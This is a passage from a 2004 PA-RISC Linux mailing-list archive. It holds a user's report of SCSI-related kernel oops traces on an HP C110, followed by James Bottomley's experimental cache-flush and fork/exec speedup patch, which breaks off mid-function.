sdb9: rw=0, want=3236466824, limit=3075696
attempt to access beyond end of device
sdb9: rw=0, want=3253102776, limit=3075696

during the first find alone?
arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<102294fc>] as_requeue_request+0x64/0x10c
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<1022313c>] blk_insert_request+0xfc/0x104
  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
  [<1024915c>] scsi_finish_command+0x9c/0xc0
  [<10249068>] scsi_softirq+0xfc/0x11c
  [<10262fb4>] ncr53c8xx_intr+0x74/0xbc
  [<101299cc>] do_softirq+0xf4/0xf8
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<1010b068>] intr_return+0x0/0x14
  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
  [<1010b070>] intr_return+0x8/0x14
  [<1016ba8c>] may_open+0x58/0x1c8
  [<1015a850>] dentry_open+0x138/0x1c4
  [<1016e784>] locate_fd+0x158/0x194
  [<1010b068>] intr_return+0x0/0x14

kernel BUG at include/linux/blkdev.h:543!
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<1024ddc8>] scsi_request_fn+0x2a0/0x2c4
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<10223120>] blk_insert_request+0xe0/0x104
  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
  [<1024915c>] scsi_finish_command+0x9c/0xc0
  [<10249068>] scsi_softirq+0xfc/0x11c
  [<10262fb4>] ncr53c8xx_intr+0x74/0xbc
  [<101299cc>] do_softirq+0xf4/0xf8
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10220468>] elv_requeue_request+0x2c/0x38
  [<1010b068>] intr_return+0x0/0x14
  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
  [<1010b070>] intr_return+0x8/0x14
  [<1016ba8c>] may_open+0x58/0x1c8
  [<1015a850>] dentry_open+0x138/0x1c4
  [<1016e784>] locate_fd+0x158/0x194
  [<1010b068>] intr_return+0x0/0x14
[...]
and so on severall time.

I also drive the same test over a nfs (as it seems that lan and scsi ctrl on this c110 share the same U2 bridge?):
no pb.

May I so reasonably thought that pb is loacted into ncr53c720 scsi driver?

Thanks in advance for additional help,
	Joel



Joel Soete wrote:
> 
> 
> Andy Walker wrote:
> 
>>> Hello Andy,
>>>
>>> Sorry for delay but I was a bit busy by a production server.
>>
>>
>>
>> No problem.
>>
>>
>>>> 2.6.6-rc1-pa0 shows the same behaviour,
>>>
>>>
>>> Thanks.
>>> but not a surprise regarding previous test.
>>>
>>>
>>>> although it does seem to make it
>>>> through the Gentoo boot process most times.
>>>
>>>
>>> I would not be surprise if it occures during some fsck. Do you also use
>>> ext3 on your Gentoo?
>>> btw Gentoo always install pkg by a local rebuild from src (that's a long
>>> time that I visit the site)?
>>
>>
>>
>> That's the Gentoo way - so every package on my system is compiled
>> -march=2.0 -mschedule=8000. The downside is that install and upgrade
>> takes a long time on slow machines.
> 
> 
> Yes that why I do not investegate more: I don't have a lot of budget for 
> my system which are generaly systems a bit outdated machine recover from 
> trash still just enough for my investigation but a bit too slow to build 
> all the tools I would like to maintained uptodate frequently. The very 
> great stuff would have to have the choice: update from pre-compiled 
> binaries or a local compile. The debian packaging system is very robust 
> (some month ago, on a i386, I do an update from a old woody (r0 iirc) 
> directly to unstable aka sid without any pb) but I do not yet find a 
> clear doc explaining me how to personalize pkg from dpkg src (I would 
> like for instance change the prefix in general /usr into 
> /opt/app/app_rev a la hp)?
> 
>> The upside is that you get total
>> control over package selection and compilation options. I've played
>> with Debian before but I find apt a pain compared to Gentoo's portage.
>> Also all this sid/woody/stable/unstable etc.... stuff confuses me.
>>
> That is the simple aspect: in short
>     the current stable release was named (the 2.x was potato, the 
> current one woody)
>     the very last packages otc are put in unstable (aka sid) for large 
> testing and debuging
>     when pkg become enough stable it is pushed in testing the futur 
> debian release (recently named sarge)
> 
> there are also security update for stable release only because there are 
> in general in unstable and testing before!
> 
> For my part I only have ineterest in very last available packages (so 
> sid or unstable) to test new features but some times (rarely in fact) 
> the system is a bit 'unstable' :) (that's my choice).
> 
>>
>>>> I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.
>>>
>>>
>>> This seems to be the last one enough stable for me and my c110: I just
>>> updated my distro (that used a lot tar iirc) and all works
>>> fine with this kernel.
>>
>>
>>
>> 2.6.3-pa2 is rock solid. I've been running updates, kernel compilation -
>> pretty heavy stuff, and no problems.
>> I'm just about to 'emerge' X11 - that should keep it downloading,
>> untarring and compiling for 24 hours.
>>
> Ok
> 
>> Any suggestions for things I might test to narrow our problem down.
>>
> Not realy for the moment, as explain previously, the problem seems to 
> apear between 2.6.4-rc1-pa3 and 2.6.4-rc3-pa6.
> I will try to figure out now if it comes from upstream or from or tree: 
> I am on going to rebuild 2.6.4-rc3-pa1 and see how will it behave.
> 
> Thanks a lot,
>     Joel
> 


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another cache flush & fork/exec speedup
Date: 17 Apr 2004 19:20:26 -0500
Lines: 932
Approved: news@gmane.org
Message-ID: <1082247627.1969.3.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623386 8445 80.91.229.3 (22 Nov 2014 02:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:46 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat Apr 17 18:20:29 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41ED74851
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 18:20:29 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3I0KRa13024 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Apr 2004 20:20:27 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Apr 2004 00:20:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21456

This one still has problems.  It's self hosting, but it falls over under
heavy stress (with segfaults that seem to be related to COW).

So, treat it with caution.

The benchmarks show that the fork/exec time has basically been cut in
half in this incarnation.

My next task will be to instrument the kernel page flushing like the
user one has been done.

After this it's the hard tasks:

1. Alter the page table layout to recover an extra flag for separate I/D
cache flushing
2. work out a scheme for doing last man out flushes of congruently
mapped shared pages.

James

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1792  -> 1.1796 
#	         mm/fremap.c	1.16    -> 1.18   
#	include/asm-parisc/cache.h	1.6     -> 1.7    
#	arch/parisc/kernel/pacache.S	1.5     -> 1.6    
#	include/asm-parisc/page.h	1.5     -> 1.8    
#	arch/parisc/kernel/entry.S	1.14    -> 1.17   
#	arch/parisc/kernel/cache.c	1.12    -> 1.14   
#	         mm/memory.c	1.154   -> 1.156  
#	include/asm-parisc/tlb.h	1.1     -> 1.2    
#	arch/parisc/kernel/sys_parisc.c	1.17    -> 1.18   
#	include/asm-parisc/pgtable.h	1.16    -> 1.17   
#	include/asm-parisc/cacheflush.h	1.9     -> 1.12   
#	arch/parisc/kernel/signal.c	1.14    -> 1.15   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1790.1.1
# ICI
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1793
# hand
# --------------------------------------------
# 04/04/15	jejb@raven.il.steeleye.com	1.1794
# First draft of working stingy cache flushing
# --------------------------------------------
# 04/04/16	jejb@raven.il.steeleye.com	1.1795
# More clean ups
# --------------------------------------------
# 04/04/16	jejb@raven.il.steeleye.com	1.1796
# Fix flushing
# 
# - eliminate flush_icache_page()
# - make copy_user_page do correct flushing
# --------------------------------------------
#
diff -Nru a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
--- a/arch/parisc/kernel/cache.c	Sat Apr 17 19:16:12 2004
+++ b/arch/parisc/kernel/cache.c	Sat Apr 17 19:16:12 2004
@@ -230,6 +230,7 @@
 void __flush_dcache_page(struct page *page)
 {
 	struct list_head *l;
+	pte_t *pte;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -260,9 +261,10 @@
 		 * have to find a congruent address with an existing
 		 * translation */
 
-		if (!translation_exists(mpnt, addr))
+		if (!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		/* If we find an address to flush, that will also
@@ -293,15 +295,205 @@
 		/* This is just for speed.  If the page translation isn't
 		 * there there's no point exciting the nadtlb handler into
 		 * a nullification frenzy */
-		if(!translation_exists(mpnt, addr))
+		if(!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		return;
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
+
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags & VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG) {
+			flush_user_icache_page(addr);
+			pitlb_user(addr);
+		}
+		pdtlb_user(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+#if 1
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+#endif
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			if(!pte_flush(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			pte_clear_flush(pte);
+			flush_user_dcache_page(start);
+			if (vma->vm_flags & VM_EXEC) {
+				flush_user_icache_page(start);
+				pitlb_user(start);
+			}
+			pdtlb_user(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
 
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
diff -Nru a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
--- a/arch/parisc/kernel/entry.S	Sat Apr 17 19:16:12 2004
+++ b/arch/parisc/kernel/entry.S	Sat Apr 17 19:16:12 2004
@@ -49,7 +49,6 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -1017,6 +1016,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1093,7 +1096,7 @@
 	shladd           t0,3,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_20w
+	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_emulate
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1112,23 +1115,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
-	idtlbt          pte,prot
-
-	rfir
-	nop
-
 #else
 
 dtlb_miss_11:
@@ -1514,6 +1500,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
diff -Nru a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
--- a/arch/parisc/kernel/pacache.S	Sat Apr 17 19:16:12 2004
+++ b/arch/parisc/kernel/pacache.S	Sat Apr 17 19:16:12 2004
@@ -308,6 +308,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r25),%r19
+	ldd 8(%r25),%r20
+	ldd 16(%r25),%r21
+	ldd 24(%r25),%r22
+	std %r19,0(%r26)
+	std %r20,8(%r26)
+	std %r21,16(%r26)
+	std %r22,24(%r26)
+	ldd 32(%r25),%r19
+	ldd 40(%r25),%r20
+	ldd 48(%r25),%r21
+	ldd 56(%r25),%r22
+	std %r19,32(%r26)
+	std %r20,40(%r26)
+	std %r21,48(%r26)
+	std %r22,56(%r26)
+#else
 	ldw 0(%r25),%r19
 	ldw 4(%r25),%r20
 	ldw 8(%r25),%r21
@@ -340,6 +358,7 @@
 	stw %r20,52(%r26)
 	stw %r21,56(%r26)
 	stw %r22,60(%r26)
+#endif
 	ldo 64(%r26),%r26
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r25),%r25
@@ -375,7 +394,6 @@
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
 
 	/*
 	 * We can't do this since copy_user_page is used to bring in
@@ -390,9 +408,9 @@
 	 * lobby for such a change.
 	 */
 
-	.export copy_user_page_asm,code
+	.export copy_user_page_vaddr_asm,code
 
-copy_user_page_asm:
+copy_user_page_vaddr_asm:
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -436,6 +454,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r29),%r19
+	ldd 8(%r29),%r20
+	ldd 16(%r29),%r21
+	ldd 24(%r29),%r22
+	std %r19,0(%r28)
+	std %r20,8(%r28)
+	std %r21,16(%r28)
+	std %r22,24(%r28)
+	ldd 32(%r29),%r19
+	ldd 40(%r29),%r20
+	ldd 48(%r29),%r21
+	ldd 56(%r29),%r22
+	std %r19,32(%r28)
+	std %r20,40(%r28)
+	std %r21,48(%r28)
+	std %r22,56(%r28)
+#else
 	ldw 0(%r29),%r19
 	ldw 4(%r29),%r20
 	ldw 8(%r29),%r21
@@ -468,6 +504,7 @@
 	stw %r20,52(%r28)
 	stw %r21,56(%r28)
 	stw %r22,60(%r28)
+#endif
 	ldo 64(%r28),%r28
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r29),%r29
@@ -477,7 +514,6 @@
 	.exit
 
 	.procend
-#endif
 
 	.export clear_user_page_asm,code
 
@@ -506,6 +542,16 @@
 	ldi 64,%r1
 
 1:
+#ifdef __LP64__
+	std %r0,0(%r28)
+	std %r0,8(%r28)
+	std %r0,16(%r28)
+	std %r0,24(%r28)
+	std %r0,32(%r28)
+	std %r0,40(%r28)
+	std %r0,48(%r28)
+	std %r0,56(%r28)
+#else
 	stw %r0,0(%r28)
 	stw %r0,4(%r28)
 	stw %r0,8(%r28)
@@ -522,6 +568,7 @@
 	stw %r0,52(%r28)
 	stw %r0,56(%r28)
 	stw %r0,60(%r28)
+#endif
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r28),%r28
 
diff -Nru a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
--- a/arch/parisc/kernel/signal.c	Sat Apr 17 19:16:12 2004
+++ b/arch/parisc/kernel/signal.c	Sat Apr 17 19:16:12 2004
@@ -375,10 +375,9 @@
 	}
 #endif
 
-	flush_user_dcache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
-	flush_user_icache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
+	__flush_cache_range(current->active_mm,
+			    (unsigned long) &frame->tramp[0],
+			    (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
 	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
diff -Nru a/include/asm-parisc/cache.h b/include/asm-parisc/cache.h
--- a/include/asm-parisc/cache.h	Sat Apr 17 19:16:12 2004
+++ b/include/asm-parisc/cache.h	Sat Apr 17 19:16:12 2004
@@ -63,9 +63,11 @@
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
 
-#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr));
-#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr));
-#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr));
+#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr))
+#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr))
+#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr))
+#define pdtlb_user(addr)    asm volatile("pdtlb 0(%%sr3,%0)" : : "r" (addr))
+#define pitlb_user(addr)    asm volatile("pitlb 0(%%sr3,%0)" : : "r" (addr))
 
 #endif /* ! __ASSEMBLY__ */
 
diff -Nru a/include/asm-parisc/cacheflush.h b/include/asm-parisc/cacheflush.h
--- a/include/asm-parisc/cacheflush.h	Sat Apr 17 19:16:12 2004
+++ b/include/asm-parisc/cacheflush.h	Sat Apr 17 19:16:12 2004
@@ -9,11 +9,7 @@
 
 /* Cache flush operations */
 
-#ifdef CONFIG_SMP
-#define flush_cache_mm(mm) flush_cache_all()
-#else
-#define flush_cache_mm(mm) flush_cache_all_local()
-#endif
+extern void flush_cache_mm(struct mm_struct *);
 
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
@@ -33,52 +29,6 @@
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
 
-/* The following value needs to be tuned and probably scaled with the
- * cache size.
- */
-
-#define FLUSH_THRESHOLD 0x80000
-
-static inline void
-flush_user_dcache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_dcache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_dcache_range_asm(start,end);
-	else
-		flush_data_cache();
-#endif
-}
-
-static inline void
-flush_user_icache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_icache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_icache_range_asm(start,end);
-	else
-		flush_instruction_cache();
-#endif
-}
-
-extern void __flush_dcache_page(struct page *page);
-
-static inline void flush_dcache_page(struct page *page)
-{
-	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
-			list_empty(&page->mapping->i_mmap_shared)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-	} else {
-		__flush_dcache_page(page);
-	}
-}
-
-#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page)); flush_kernel_icache_page(page_address(page)); } while (0)
-
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
 
 #define copy_to_user_page(vma, page, vaddr, dst, src, len) \
@@ -88,49 +38,31 @@
 #define copy_from_user_page(vma, page, vaddr, dst, src, len) \
 	memcpy(dst, src, len)
 
-static inline void flush_cache_range(struct vm_area_struct *vma,
-		unsigned long start, unsigned long end)
-{
-	int sr3;
-
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}
-
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
-	} else {
-		flush_cache_all();
-	}
-}
-
 /* Simple function to work out if we have an existing address translation
  * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				     unsigned long addr)
+static inline pte_t *__translation_exists(struct mm_struct *mm,
+					  unsigned long addr)
 {
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pgd_t *pgd = pgd_offset(mm, addr);
 	pmd_t *pmd;
 	pte_t *pte;
 
 	if(pgd_none(*pgd))
-		return 0;
+		return NULL;
 
 	pmd = pmd_offset(pgd, addr);
 	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
+		return NULL;
 
 	pte = pte_offset_map(pmd, addr);
 
 	/* The PA flush mappings show up as pte_none, but they're
 	 * valid none the less */
 	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
+		return NULL;
+	return pte;
 }
+#define translation_exists(vma, addr)	__translation_exists((vma)->vm_mm, addr)
 

 /* Private function to flush a page from the cache of a non-current
@@ -157,8 +89,11 @@
 	mtsp(vma->vm_mm->context, 3);
 
 	flush_user_dcache_page(vmaddr);
-	if(vma->vm_flags & VM_EXEC)
+	if(vma->vm_flags & VM_EXEC) {
 		flush_user_icache_page(vmaddr);
+		pitlb_user(vmaddr);
+	}
+	pdtlb_user(vmaddr);
 
 	/* put the old current process back */
 	mtsp(space, 3);
@@ -171,8 +106,11 @@
 {
 	if (likely(vma->vm_mm->context == mfsp(3))) {
 		flush_user_dcache_page(vmaddr);
-		if (vma->vm_flags & VM_EXEC)
+		if (vma->vm_flags & VM_EXEC) {
 			flush_user_icache_page(vmaddr);
+			pitlb_user(vmaddr);
+		}
+		pdtlb_user(vmaddr);
 	} else {
 		flush_user_cache_page_non_current(vma, vmaddr);
 	}
@@ -181,11 +119,115 @@
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
+	pte_t *pte = translation_exists(vma, vmaddr);
+
 	BUG_ON(!vma->vm_mm->context);
 
-	if(likely(translation_exists(vma, vmaddr)))
+	if(likely(pte && !pte_flush(*pte))) {
+		pte_clear_flush(pte);
 		__flush_cache_page(vma, vmaddr);
+	}
 
 }
+
+static inline void
+flush_icache_page(struct vm_area_struct *vma, struct page *page)
+{
+}
+
+/* The following value needs to be tuned and probably scaled with the
+ * cache size.
+ */
+
+#define FLUSH_THRESHOLD 0x80000
+
+static inline void
+__flush_cache_range(struct mm_struct *mm, unsigned long start,
+		    unsigned long end)
+{
+	unsigned long vaddr;
+	pte_t *pte;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+		return;
+	}
+
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE) {
+		if(unlikely(!(pte = __translation_exists(mm, vaddr))))
+			continue;
+
+		if (unlikely(!pte_flush(*pte)))
+			continue;
+
+		pte_clear_flush(pte);
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+		pdtlb_user(vaddr);
+		pitlb_user(vaddr);
+	}
+}
+
+static inline void flush_cache_range(struct vm_area_struct *vma,
+				     unsigned long start, unsigned long end)
+{
+	unsigned long sr3 = mfsp(3);
+
+	BUG_ON(!vma->vm_mm->context);
+
+	if (likely(vma->vm_mm->context == sr3)) {
+		__flush_cache_range(vma->vm_mm, start, end);
+	} else {
+		unsigned long pgd = mfctl(25);
+		/* we don't mind taking interrups since they may not
+		 * do anything with user space, but we can't
+		 * be preempted here */
+		preempt_disable();
+
+		/* make us current */
+		mtctl(__pa(vma->vm_mm->pgd), 25);
+		mtsp(vma->vm_mm->context, 3);
+
+		__flush_cache_range(vma->vm_mm, start, end);
+
+		/* put the old current process back */
+		mtsp(sr3, 3);
+		mtctl(pgd, 25);
+		preempt_enable();
+
+	}
+}
+
+extern void __flush_dcache_page(struct page *page);
+
+static inline void flush_dcache_page(struct page *page)
+{
